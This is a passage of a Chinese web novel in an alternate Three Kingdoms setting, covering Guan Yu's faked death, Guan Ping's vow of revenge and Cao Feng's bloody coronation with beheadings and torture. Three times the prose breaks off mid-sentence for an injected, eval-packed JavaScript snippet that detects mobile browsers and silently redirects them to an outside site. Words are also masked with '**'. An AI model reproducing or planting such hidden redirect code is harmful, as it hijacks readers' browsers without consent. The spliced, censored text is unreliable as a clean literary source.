而,他的话永远卡在了喉咙里。 一道冰冷的刀光闪过! 充满惊骇和不甘的头颅,“咕咚”一声落入浑浊的江水之中,无头的尸身抽搐了两下,便再无声息。 …… 船舱内的关羽、关平、周仓三人,早已被外面震天的喊杀声、兵刃撞击声和凄厉的惨叫声所惊动。 他们被牢牢捆缚着,嘴巴也被堵得严严实实,只能凭借声音和透过缝隙来判断外面的情况。 关羽目光迅速扫视昏暗的船舱,发现角落堆放着几个空木箱,其后能勉强藏下一人。 他立刻用眼神示意受伤最重的周仓躲进去。 周仓见状,毫不犹豫,用他庞大的身躯猛地一拱,将关平硬生生挤进了那个角落,然后用宽阔的后背和残余的力气,死死堵住了那个藏身之处,不留一丝缝隙。 关平拼命用力,想要顶开周仓,但他本就受伤力竭,又如何推得动铁了心要保护他的周仓? 关羽看着周仓决绝举动,丹凤眼中情绪翻涌,充满了感激、愧疚,以及一种超越主仆、近乎兄弟的认可。 他明白,周仓这是要用自己的命,换关平一线生机。 周仓嘴巴被堵,无法说话,只能对着关羽重重地点头,喉咙里发出“呜呜”的闷响。 那双铜铃大眼中没有丝毫犹豫和恐惧,唯有誓死相随的坚定! 就在这时,“哐当”一声巨响,船舱的门被人从外面一脚狠狠踹开! 周泰走了进来。 此时他身上还插着箭矢,鲜血浸透衣袍。 他手中的**还在滴血! 浓重的血腥味瞬间充斥了整个船舱。 东汉末年两个最强肉盾,周仓和周泰,就这么见面了。 周泰布满血丝的独眼,扫过被捆得结结实实的关羽和周仓。 目光最终落在身受重伤、依旧面不改色的周仓身上。 周泰眼中闪过找到了同类般的兴奋光芒。 于是…… “库嗤!” “库嗤!” 周泰连着捅了周仓两刀。 第261章 关平:东吴鼠辈,我大伯不会放过你们的! 接连被捅了两刀,本就重伤的周仓,此时更是虚弱。 他额头青筋暴起,冷汗涔涔而下,但他依旧死死用身体抵住身后。 他身后是唯一可能发现关平的地方。 周仓牙关紧咬,甚至嘴角都溢出了血丝,愣是没有发出一点声音,只是不服输地瞪着周泰,仿佛在说:“就这点本事?” 周泰眼中那抹见到“同类”的兴奋感更浓了。 他举起刀柄,用坚硬的尾部,运足力道,重重砸在周仓的后脑勺上! “呃!”周仓终于发出一声短促的闷哼,眼前一黑,失去了意识。。 周泰将目光转向一旁怒目而视的关羽。 他故意用沙哑凶狠的嗓音说道:“呔!你这红脸长须的大汉,倒有几分绿林豪杰气概!” “按理说,我本该饶你一命!” 周泰话锋一转,语气变得“懊恼”而“残忍”。 “可谁让你倒霉,撞见了我们在这东吴地界上做买卖!” “若是放了你,走漏了消息,我和这帮兄弟岂不是要遭殃?” “那就别怪我心狠手辣,不讲那劳什子江湖道义了!到了阎王爷那儿,记得报我翻江龙的名号!” 说罢,在关羽愤怒、疑惑的目光注视下…… 周泰大步走到一个和他身材、长相一模一样的人前。 手起刀落! 假关羽的头颅瞬间与身体分离,滚落在地板上。 与此同时,另一名跟着进来的“水匪”迅速上前,动作麻利地将一柄寒光闪闪的**,“当啷”一声,看似随意地丢在了昏迷的周仓手边触手可及的地方。 做完这一切,周泰不再看关羽,对手下使了个眼色。 那心腹会意,上前用刀柄重重敲在关羽的后颈上。 关羽本就力竭伤重,遭此重击,眼前一黑,也晕了过去。 两人迅速将昏迷的关羽抬出船舱。 走大门口,周泰最后扫了一眼舱内: 昏迷的周仓,他手边的**,那颗血淋淋的“关羽”首级,以及那个被周仓身体挡住的、藏着关平的角落。 一切都在计划之中。 周泰转身离去,并顺手将一颗点燃的火油罐扔进了船舱! “走水了!快撤!” 舱外传来“水匪”们故意发出的杂乱呼喊声和迅速远去的脚步声。 火焰迅速蔓延开来…… 关平奋力顶开昏迷的周仓,挣扎着爬出藏身之处。 首先映入他眼帘的,便是那具倒在血泊中、身首分离、穿着父亲衣服的无头尸体! 以及滚落在一旁、须发皆张、怒目圆睁的“父亲”的首级! 关平眼泪一瞬间涌出。 巨大的悲痛,让关平只觉得天旋地转,肝胆俱裂! 关平连滚带爬地扑到那具“尸体”旁,看着那熟悉的衣物和那颗“熟悉”的头颅,他整个人崩溃了。 但迅速蔓延的大火和呛人的浓烟,逼得他不得不清醒过来。 求生的本能和那股想要复仇的强烈恨意,硬是压下了几乎要把他撕成碎片的悲痛。 他不能死在这里! 他必须活下去! 为父亲报仇!向东吴复仇! 向所有参与此事的人复仇! 他泪眼模糊地四处摸索,猛地看到了周仓手边那柄闪着寒光的**! 仿佛是上天赐予的一线生机! 他拼命挪过去,用被反绑的手艰难地抓住**,一点点割断了手腕上粗糙的麻绳。 双手获得自由后,他第一时间扯掉了塞口的破布,迅速割断了脚上的绳索。 他看了一眼旁边昏迷不醒、但胸膛还有起伏的周仓,目光又转向那具已被大火逼近的“父亲”的遗骸。 救周仓,还是抢回父亲的遗体? 火势越来越大,舱顶也开始坍塌。凭他此刻重伤的身体,以及所剩无几的短暂时间,只够他做一件事 关平脸上血泪交流,他看看周仓,又看看那具“遗体”,眼中充满了无尽的痛苦和挣扎。 最终,他猛地跪倒在地,对着“关羽”遗体,“砰砰砰”连磕了三个响头。 关平哭喊道:“父亲!孩儿不孝!无法带您走了!您的在天之灵看着!” “孩儿在此立誓,此生必灭东吴,为您报仇雪恨!若违此誓,天诛地灭!!” 说完,他毅然决然地转身,用尽全身力气,将重伤昏迷的周仓奋力背起,踉踉跄跄地冲向舱门,猛地撞开燃烧的障碍物,冲出了已然化为一片火海的船舱! 来到相对安全的船尾甲板, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253735|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他将周仓放下,关平转身还想冲回火海,试图抢回父亲的遗骨。 整艘船已经变成了火海,冲天的火光把江面都映红了。 灼热的气浪翻滚着,让他根本无法靠近。 四周全是木头断裂的声响,紧接着,主桅杆带着熊熊燃烧的风帆轰然倒下,彻底封**入口。 “父亲——!!!” 关平无力地跪倒在甲板上,望着眼前吞噬一切的烈焰,发出了一声一声绝望的哭嚎。 他攥紧拳头,发狠地一下下砸向甲板。 他猛地抬起头,一双布满血丝的眼睛死死瞪向江东的方向。 “东吴鼠辈!” “孙权!吕蒙!我关平对天立誓!此生与你们不死不休!” “给我等着!你们给我等着!!!” “我大伯和三叔,也不会放过你们的!” 关平不知道,真正的关羽早已被周泰秘密押往江夏。 经过华佗连日来的精心医治,关羽身上的伤势已渐趋平稳。 只是李儒特意选用了一种毫无副作用的迷香,使这位武圣始终陷在昏睡之中,不曾醒来。 李儒静立床前,注视着昏迷中的关羽,轻轻摇头叹道。 “魏王终究太过念旧。若依我与贾文和之见,当真该彻底除去此人,也省得日后诸多麻烦。” 华佗抬眼望向李儒脸上那副冰冷的面具,忍不住对这位老搭档埋怨道。 “你这老家伙,这么多年过去,心肠还是这般狠厉。” 在整个曹风阵营中,敢对李儒如此不客气说话的,除了曹风本人,也就只有华佗了。 即便是平日最爱多嘴的徐荣,见到李儒时也会下意识地紧闭双唇,不敢招惹这个老毒物。 李儒瞥了华佗一眼,并未动怒,只是微微摇头,随即转身询问一旁的凌统:“当真不随我们回去参加魏王的登基大典?” 凌统面露惋惜之色,拱手回道:“军务在身,实在难以抽身。我还需镇守江夏与柴桑两处重镇,以防孙权那边突发袭击。” 李儒轻轻拍了拍凌统的肩膀,未再多言,默然转身走出屋外。 三日之后,李儒、周泰、华佗等人率领五百精骑北上,与驻扎合肥的张辽部队会合,一同赶往邺城,准备参加曹风的登基大典。 第262章 孙尚香:这便是天下第一武力吗? 邺城,魏王府…… 曹风处理完最后一卷军政文书,揉了揉略显酸涩的眉心,窗外已是星斗满天。 活动了一下肩膀,曹风略带疲惫地走向后宅住宿的院落。 曹风的脚还没踏入月门,一阵金属交击声便传入耳中。 伴随着曹婴清脆的拍手叫好声,还有一个小孩子咿咿呀呀的学舌声。 “孙姨!好刀法!对对对……就用这招‘惊鸿掠影’!攻她下盘!” “马姨娘小心!快用回马枪!漂亮!” “孙姨,再用用你今天白日里教我的那招嘛!让我再看看!” 曹风那刚满两岁的儿子曹文,也跟着曹婴“咿呀”的助威。 曹风不由得抬手轻拍额头,露出一丝无奈的苦笑。 自江东“弓腰姬”孙尚香入住这邺城魏王府,马云禄算是找到了最佳的练武搭档。 这两位巾帼豪杰,仿佛有使不完的精力,每日不切磋几场便浑身不自在。 曹风原本想过出言制止她们两个,毕竟深夜动武,难免惊扰他人。 但心思细腻的甄宓却劝住了他。 甄宓说,府中难得如此热闹,她更乐见曹婴整日欢欣雀跃的模样。 自曹风忙于军政大事,无暇多陪曹婴之后,这小丫头确实沉寂了许多,如今有孙尚香和马云禄带着她习武玩闹,整个人都鲜活明亮起来。 甄宓之言在情在理,曹风便也由着她们去了。 摇头笑了笑,曹风迈步走进院落。 正在场边抱着弟弟、目不转睛观战的曹婴第一个发现了他,立刻抱着小曹文雀跃地奔过来,脸上洋溢着灿烂的笑容。 “三叔!你回来得正好!快来看看我的进步,指点我几招好不好?” 曹风疼爱地揉了揉曹婴的秀发,目光投向场中激战正酣的两位女,笑道:“三叔忙碌了一整天,骨头都快散架了,实在疲乏。” 然而,他话音未落,场中的马云禄和孙尚香似乎早已通过眼神达成了某种默契。 两人刀枪一架,借力分开,随即几乎同时转身,刀光枪影,直向曹风攻来! “真是胡闹!” “真是胡闹!” 两声内容、语气几乎一模一样的嗔怪,同时从不同方向响起。 一声来自曹风,带着几分无可奈何的纵容; 另一声则来自不远处阁楼上凭栏观望的甄宓,她秀眉微蹙,语气中亦是无奈,眸中甚至带着一丝看家人玩闹的温柔笑意。 最先动的并非曹风,而是曹婴。 她虽然知道孙尚香和马云禄手上有分寸,伤不到站在曹风身边的她。 但出于对弟弟本能的保护,她还是立刻抱着小曹文,敏捷地向后退开了数步,远离了战圈。 曹风朗声一笑,面对突如其来的左右夹攻,身形不动如山,只是手腕一翻,随身佩戴的凉刀连鞘而出,精准将攻势格挡开来。 几招过后,曹风嘴角带着笑意,凉刀依旧未曾出鞘,“若是我赢了,你们便都乖乖回去安歇,今夜到此为止,如何?” 见曹风终于出手,孙尚香眼睛一亮。 她随曹风从洛阳北上,一路来到邺城。这些日子,曹风一直忙于军政大事,根本没空陪她切磋。 今夜总算找到机会,能亲自领教这位“天下第一”的身手,孙尚香越想越兴奋,脸颊都泛起了红晕。 她扔下手中的凉刀,换上了孙家祖传的古锭刀。 孙尚香手中的古锭刀刀风陡然一变,原本凌厉的攻势里带上了几分绵柔。就像江南骤雨过后,天空还飘着的那些细密雨丝,看着轻软,却透着一股沁人的寒意。 马云禄也不甘示弱,一杆**舞得如同梨花纷飞,点点寒星直扑曹风周身要害。 在这两位当世一流女将的联手夹击下,武艺早已出神入化的曹风,依旧显得游刃有余、从容不迫。 他手中的带鞘凉刀时而轻巧地格开古锭刀的劈斩,时而巧妙地带偏**的突刺,身形在极小范围内挪转闪避,总能在千钧一发之际躲开致命的合击。 举重若轻的招式,不像在生死相搏,反倒像一场优雅的舞动。 曹婴在一旁看得目不转睛,心里痒痒的,恨不得自己也提剑加入。 可低头看了看怀里眨巴着大眼睛、似乎也觉得很有趣的弟弟,她还是压下了这个念头。 不到半炷香的功夫,只听“啪”、“啪”两声轻响,曹风的刀鞘精准地点中了马云禄的手腕和孙尚香的刀背。 马云禄只觉得手腕一麻,**随即脱手; 孙尚香则感到一股巧劲传来,古锭刀不由自主向上扬起。 就在这破绽露出之时,曹风身形切入两人之间,手腕一翻,那柄古锭刀已经易主,落到了曹风手中。 场中顿时安静下来。 孙尚香愣愣地看着自己空荡荡的手,再抬头望向正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253736|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细端详古锭刀上云纹的曹风,脸上写满了难以置信。她…… 居然就这么输了? 甚至连对方是怎么夺刀的都没看清! 可素来倔强好胜的她,此刻心中却生不出半点气恼。 败给这样的曹风,似乎…… 是再理所当然不过的事了。 放眼天下,又有谁能单打独斗胜过他? 仰慕取代了落败的沮丧。 只有真正和他交过手,才会明白那种面对深不可测的对手时,心里涌起的无力感。 马云禄倒是还没尽兴,她揉了揉发麻的手腕,捡起被挑飞的**,眼波流转,还打算再战。 就在这时,一袭素雅长裙的甄宓,从阁楼上盈盈走下。 甄宓来到场中,先嗔怪地白了曹风一眼:“你这人,也不晓得让着点两位妹妹!” 声音温柔,却自带一股女主人的气度。 随后,她左右手分别拉住马云禄和孙尚香,柔声说:“今天到此为止吧。夜已深了,练武事小,吵到旁人休息就不好了。” “尤其是杜妹妹现在有孕在身,最怕惊扰。” 马云禄眼珠一转,忽然抱住甄宽的手臂,撒娇似的说:“甄姐姐,我不服嘛!刚才是我和孙妹妹大意了!” “你让夫君随我回房,我们再切磋切磋,我保证安安静静的,绝不吵到别人!” 说着,也不等甄宓和曹风答应,就连拉带推地把一脸哭笑不得的曹风拽向自己的房间。 曹婴看着三叔被拉走,捂嘴偷笑,抱着弟弟凑到甄宽身边。 院子里,一时间只剩下孙尚香独自站在原地。 月光照在她身上,映出一道略显孤单的影子。 她望着马云禄房间的方向,眼中闪过一丝不易察觉的羡慕和淡淡的失落。 就在这时,一只温暖柔软的手轻轻握住了她的手腕。 孙尚香回头,正对上甄宽含笑的眼睛——那双眼仿佛能看透人心,却又充满善意。 “孙妹妹,”甄宓的声音温和道,“要是还不困,陪姐姐进屋说说话,好不好?” 孙尚香看着甄宽真诚亲切的笑容,心里那点孤独感顿时烟消云散,脸上重新露出明媚的笑容,用力点头。 “好呀!多谢甄姐姐!”她开心地应着,随甄宽向主屋走去。 只是进门之前,眼角的余光仍不由自主地、快速地瞥了一眼马云禄那已经亮起灯火的窗户。 第263章 曹植的七步诗 十日后,邺城。 这一天,注定将载入史册。 东汉王朝延续数百年的国运,将在今天正式终结,一个新的时代将从这里开始转动。 除了必须镇守四方边境、防备刘备、孙权的重要将领,曹风麾下几乎所有的文臣武将,都已奉命日夜兼程赶回邺城,参加这场旷世盛典。 就连那位神龙见首不见尾的方外之人左慈,和名满荆襄的隐士庞德公,也随着张嫣一同出现在邺城。 庞德公掐指一算,笑着开口道:“传国玉玺,吕布身上的恶龙之气,孙家的古锭刀,曹家的倚天剑——如今只差刘家那一样了。” 左慈轻轻扬起拂尘,点头应和:“这几样若是能全部集齐,便可延续曹家五百年的气运。你我之前推算出的那几场大劫,也就有机会化解了。” “只是刘备那一缕真龙之气,究竟会附在什么东西上?”左慈语气中带着几分疑惑,“我推演多次,始终看不清楚。” 庞德公也皱起眉头,接话道:“原本我以为会是他那对雌雄双股剑,可结果并非如此。” 一旁的张嫣本来对这些并不感兴趣,但一听到事关曹风,却难得主动开口:“你们该去问问曹风,或许他知道。” 说完,她抬起那双清澈的眼睛,望向远处巍峨的铜雀台。 整座邺城早已装饰一新,旌旗招展,张灯结彩,家家户户门前都悬挂着象征新朝的玄色旗帜,每个人脸上都洋溢着激动与期待。 通往城中最高建筑——铜雀台的道路两旁,甲胄鲜明的武士持戟而立,从台下一直排列到高耸的台基之前。 一条宽大无比、颜色鲜艳的猩红地毯,从铜雀台的最低处,沿着长长的汉白玉阶梯,一路向上铺展,直到那最高处、即将迎来新主的至尊宝座前。 宛如一道奔腾的血河,充满了威严与压迫感。 然而在曹风眼中,这地毯的红色,还不够浓、不够彻底! 在他看来,只有用仇敌的鲜血染就,才能让这条通往权力巅峰的道路,呈现出最极致、最刺眼的鲜红! 他今天,就要踩着这些昔日仇敌的哀嚎与鲜血,一步步,走上那至高无上的位置! 所以,在那长长的红毯阶梯上,每隔一段,就强行押跪着一个个身影。 他们衣衫破烂,面容憔悴,脸上写满了绝望与恐惧。 这些人,都是昔日曾与曹风为敌,或明或暗地阻挠、诋毁、甚至试图谋害他及其家人的政敌和仇家。 侍中荀攸身着隆重朝服,目光复杂地扫过阶梯上那几个同样姓荀的身影,心中默然长叹,随即眼神变得冰冷而坚决。 这些人,多是昔日追随荀彧,在暗地里屡屡给曹风使绊子的族中激进派。 他们自恃是世家清流,不仅屡屡写出文章批判、攻击曹风,更有人品行低劣,暗中编造散布无数污蔑曹风乃至已故长公子曹昂的恶毒谣言,几乎败尽了荀氏门风。 据说,荀彧生前得知这些事情后,曾极为震怒,打算把他们捆起来送交曹操发落。 但还没行动,这些人就离奇“失踪”了。 原来,他们早就被曹风秘密抓获,关押至今,只为等待这个祭旗立威的时刻! 荀攸背后渗出些许冷汗。 他非常庆幸自己当年虽然心向汉室,却没有直接和曹风对抗,更在曹洪、曹丕阴谋陷害并要杀**时,暗中出手保全了**。 若不是有**、钟繇等好友尽力为自己和荀家求情辩解,以曹风那有仇必报、雷霆万钧的性子,今天跪在这阶梯上的,恐怕就远不止这几人。 整个颍川荀氏,或许早已遭遇灭顶之灾! 曹风对待敌人,从来不惜用最狠辣的手段,即便对方是根基深厚的大世家。 荀攸抬头,望向那跟刚刚现身的身影,心中感慨万千。 谁能想到,当年许都那个被许多人暗中看不起、认为不过是靠父兄的“纨绔子弟”,竟能一路披荆斩棘,踏着无数尸骨,真正走到了九五至尊的阶前? 无论是被誉为有“王佐之才”的荀彧,还是雄才大略的魏王曹操,最终都没能挡住他的脚步。 是时势? 是命运? 还是气运? 这些都已经不重要了。 历史是由胜利者书写。 吉时已到,钟鼓齐鸣,礼乐奏响。 曹风的身影终于出现在红毯的起点。 他目光平视前方,一步步踏上染血的阶梯。 随着他每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263133|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步落下,身旁就有武士手起刀落! “咔嚓!” “咔嚓!” 一颗颗头颅滚落在红毯上,温热的鲜血喷溅出来,把原本鲜艳的红毯染得腥红。 曹风的龙靴,就踏着这粘稠的、尚带温热的新鲜血迹,沉稳而坚定地,一步步向上走去。 面色冷峻,没有丝毫动容。 无数文武百官、军民人等都屏住呼吸,注视着这血腥而庄严的一幕,心中充满了敬畏、恐惧与狂热。 终于,他走到了阶梯的最顶端。 那里,跪着一个几乎不成人形的身影——那是被处以极刑、千刀万剐,早已被折磨得奄奄一息的曹丕。 一身亲王冠服的曹植,站在不远处,看着这个一母所生、却屡屡**自己与三哥的二哥,心情复杂难言。 最终化作一声低不可闻的叹息。 “你欺负我也就算了……你招惹三哥做什么……” 同样获封王爵的曹冲,则紧抿着嘴唇,眼中没有丝毫同情,只有冰冷的恨意。 若不是身旁的挚友周不疑死死拉着他的衣袖,他早就冲上前去对着曹丕狠狠踹上几脚。 曹风在曹丕面前站定,缓缓抽出一把样式古朴的**——那是长兄曹昂生前所赠的遗物。 曹丕似乎感觉到了死亡的逼近,用尽最后一点力气挣扎起来,浑浊绝望的目光死死盯住曹植,发出嘶哑难辨的哀嚎。 “子建!子建!你我是一母同胞的亲兄弟啊!如今我是阶下囚,你却是尊贵的亲王,为什么不救我?!为什么不向三弟求情啊?!” 曹植一听,一直压抑的怒火瞬间被点燃。 他上前一步,指着曹丕厉声斥责。 “住口!你还有脸提母亲?!” “就是你!是你害**母亲!为了你那条卑贱的命,你害**多少无辜的人?!” “你又是怎么忍心,看着为救你而身陷重围的大哥,死在乱军之中?!你整天只知道算计、构陷我们这些兄弟!何曾有过半点手足之情?!” 愤怒到了极点,曹植胸中郁气难平,竟在这血腥祭坛之上,悲声吟诵,字字泣血。 “煮豆燃豆萁,豆在釜中泣!” “本是同根生,相煎何太急!” 第264章 曹丕死,曹风登基!